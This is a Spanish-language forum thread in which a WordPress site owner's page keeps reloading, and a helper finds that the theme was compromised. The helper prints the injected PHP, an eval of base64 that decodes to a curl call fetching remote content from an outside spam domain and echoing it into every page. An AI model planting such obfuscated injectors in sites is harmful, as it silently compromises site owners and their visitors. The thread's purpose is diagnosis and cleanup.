Problema de actualización constante en mi sitio web, ¿fui hackeado?

alancito · 12 Sep 2018

tengo un problema con mi web xxx de pronto se pone a recargar si hacer ninguna accion solo con entrar al final de la pagina sale este texto

--------------------------------

Error 521 Ray ID: 4597556fv56vf79da3 • 2018-09-13 03:01:44 UTC
Web server is down
You
Browser
Working
Chicago
Cloudflare
Working
malatyalimit.com
Host
Error
What happened?
The web server is not returning a connection. As a result, the web page is not displaying.

What can I do?
If you are a visitor of this website:
Please try again in a few minutes.

If you are the owner of this website:
Contact your hosting provider letting them know your web server is not responding. Additional troubleshooting information.

Cloudflare Ray ID: 45975ef891e79da3 • Your IP: 108.163.254.190 • Performance & security by Cloudflare

-----------------------------------

el detalle que con mis otras paginas si esta todo normal solo esta que esta como loco actualizandose sola como si apretara f5 y no se puede navegar en ella :ambivalence: que podria ser? un hackeo?

Cicklow · 12 Sep 2018

mmm segun veo tu web esta muerta... tienes bien los dns? tocaste algo de eso? desactiva cloudflare temporalmente en ese sitio y ve el error de tu web... o contacta al host a ver porque esta caido tu sitio

alancito · 12 Sep 2018

no tiene cloudflare solo hosting en banahosting y por lo de la web esta en linea solo que anda raro como apretando el f5 y se refresca recargando
nose talvez alguen a querido acer algunos cambios por eso lo del cloudflare porque no tengo eso

ya revise los DNS del hosting con los del dominio y esta todo bien no recuerdo acer ningun cambio solo hace unos dias ponerle exoclick nada mas

Cicklow · 12 Sep 2018

alancito dijo:
no tiene cloudflare solo hosting en banahosting y por lo de la web esta en linea solo que anda raro como apretando el f5 y se refresca recargando
nose talvez alguen a querido acer algunos cambios por eso lo del cloudflare porque no tengo eso

la pantalla de error que aparece es de cloudflare... si tienes .htaccess renombralo (desde ftp o desde cpanel), a ver si alguna clausula del mismo esta provocando el error.
Yo al sitio lo veo muerto...y desde los sitios de is down for me?...me marca igual

Error 521: El servidor web no funciona – Cloudflare Support
?Que debo hacer si aparece un error de puerta de enlace 502 o 504 en mi sitio? – Cloudflare Support

asi y todo contacta con bana, ellos te diran mejor que esta pasando

alancito · 12 Sep 2018

cicklow dijo:
la pantalla de error que aparece es de cloudflare... si tienes .htaccess renombralo (desde ftp o desde cpanel), a ver si alguna clausula del mismo esta provocando el error.
Yo al sitio lo veo muerto...y desde los sitios de is down for me?...me marca igual

Error 521: El servidor web no funciona – Cloudflare Support
?Que debo hacer si aparece un error de puerta de enlace 502 o 504 en mi sitio? – Cloudflare Support

asi y todo contacta con bana, ellos te diran mejor que esta pasando

te paso por MP la url de la web para que la veas mejor :encouragement:
lo que entiendo por cloudflare es que es un servivio adicional cosa que ninca eh tenido una cuenta cloudflare para configurarlo a mi web

Cicklow · 12 Sep 2018

alancito dijo:
te paso por MP la url de la web para que la veas mejor :encouragement:
lo que entiendo por cloudflare es que es un servivio adicional cosa que ninca eh tenido una cuenta cloudflare para configurarlo a mi web

mmm tu posteaste la url en tu post inicial...

alancito · 12 Sep 2018

cicklow dijo:
mmm tu posteaste la url en tu post inicial...

te refieres a esta? malatyalimit .com

esa no es mi web es el mensaje de error que sale en mi web :s

la url de mi web es otra

Cicklow · 12 Sep 2018

alancito dijo:
te refieres a esta? malatyalimit .com

esa no es mi web es el mensaje de error que sale en mi web :s

la url de mi web es otra

si es algo en el footer de tu web, esta queriendo acceder a ese sitio y esta muerto ese otro sitio...

alancito · 12 Sep 2018

mmmmm ahora que veo ese enlace malatyalimit .com es de escort y tambien me aparece un enlace de esos en mi otra web sin que yo sepa osea, alguen lo puso en mi otra web al final los post un elace similar a ese :ambivalence: en definitiva me an hakeado y en esta web que me esta fallando tambien me la quisieron poner y por eso salra el error, son unos hdp!

como puedo solucionar eso ayuda plis! sera un bot infiltrado nose :sorrow::sorrow:

- - - Actualizado - - -

cicklow dijo:
si es algo en el footer de tu web, esta queriendo acceder a ese sitio y esta muerto ese otro sitio...

exacto como quiere poner ese enlace a mi wen pero esta muerta ese enlace y no carga bien

tengo utra web que al final de la pagina tambien esta oculto un enlace externo que da a una web de scorts y nose como lo pusieron porque tampoco puedo eliminarla desde el theme de configuracion

Cicklow · 12 Sep 2018

alancito dijo:
mmmmm ahora que veo ese enlace malatyalimit .com es de escort y tambien me aparece un enlace de esos en mi otra web sin que yo sepa osea, alguen lo puso en mi otra web al final los post un elace similar a ese :ambivalence: en definitiva me an hakeado y en esta web que me esta fallando tambien me la quisieron poner y por eso salra el error, son unos hdp!

como puedo solucionar eso ayuda plis! sera un bot infiltrado nose :sorrow::sorrow:

1- puede que sea por algun theme nulled o plugin
2- algun bug en alguno de los plugin o theme

edita el footer.php y mira a ver que tiene o el functions.php subelo a pastebin privado si no entiendes que podria ser

alancito · 12 Sep 2018

cicklow dijo:
1- puede que sea por algun theme nulled o plugin
2- algun bug en alguno de los plugin o theme

edita el footer.php y mira a ver que tiene o el functions.php subelo a pastebin privado si no entiendes que podria ser

ya entre al footer.php y al functions.php no entiendo mucho esos codigos :s te los puedo pasar por MP con pastebin?

Cicklow · 12 Sep 2018

alancito dijo:
ya entre al footer.php y al functions.php no entiendo mucho esos codigos :s te los puedo pasar por MP con pastebin?

creame un user admin en tu wp y los miro... luego eliminas ese user

Cicklow · 13 Sep 2018

Bueno el theme tenia metido:

PHP:

 <?php eval('?>'.base64_decode('PD9waHANCiRjaCA9IGN1cmxfaW5pdCgpOyAvLyANCmN1cmxfc2V0b3B0KCAkY2ggLCBDVVJMT1BUX1VSTCAsICJodHRwOi8vbWFsYXR5YWxpbWl0LmNvbS9saW5rMi5waHAiICk7IC8vIA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsNCiR2ZXJpID0gY3VybF9leGVjKCRjaCk7IC8vIA0KY3VybF9jbG9zZSgkY2gpOyAvLyANCmVjaG8gJHZlcmk7IC8vICANCj8+')); ?>

el cual es:

PHP:

 <?php
$ch = curl_init(); // 
curl_setopt( $ch , CURLOPT_URL , "http://malatyalimit.com/link2.php" ); // 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$veri = curl_exec($ch); // 
curl_close($ch); // 
echo $veri; //  
?>

y se le activo wordfence el cual detecto otros mas escondidos en los archivos de wp...
pues nada...mantener los plugin actualizados, no usar themes nulled...

alancito · 13 Sep 2018

tema resuelto, gracias a cicklow que elimino archivos infectados en el theme de mi web :encouragement: desde aca mi gradecimiento sincero 🙂 %100 confiable 😎

misterqar · 14 Sep 2018

Te recomiendo que instales y uses el plugin Wordfence Security para que limpie todos los archivos de Wordpress y los plugins en caso de que aún hayan algunos infectados.

Problema de actualización constante en mi sitio web, ¿fui hackeado?

alancito

Cicklow

alancito

Cicklow

alancito

Cicklow

alancito

Cicklow

alancito

Cicklow

alancito

Cicklow

Cicklow

alancito

misterqar

Temas similares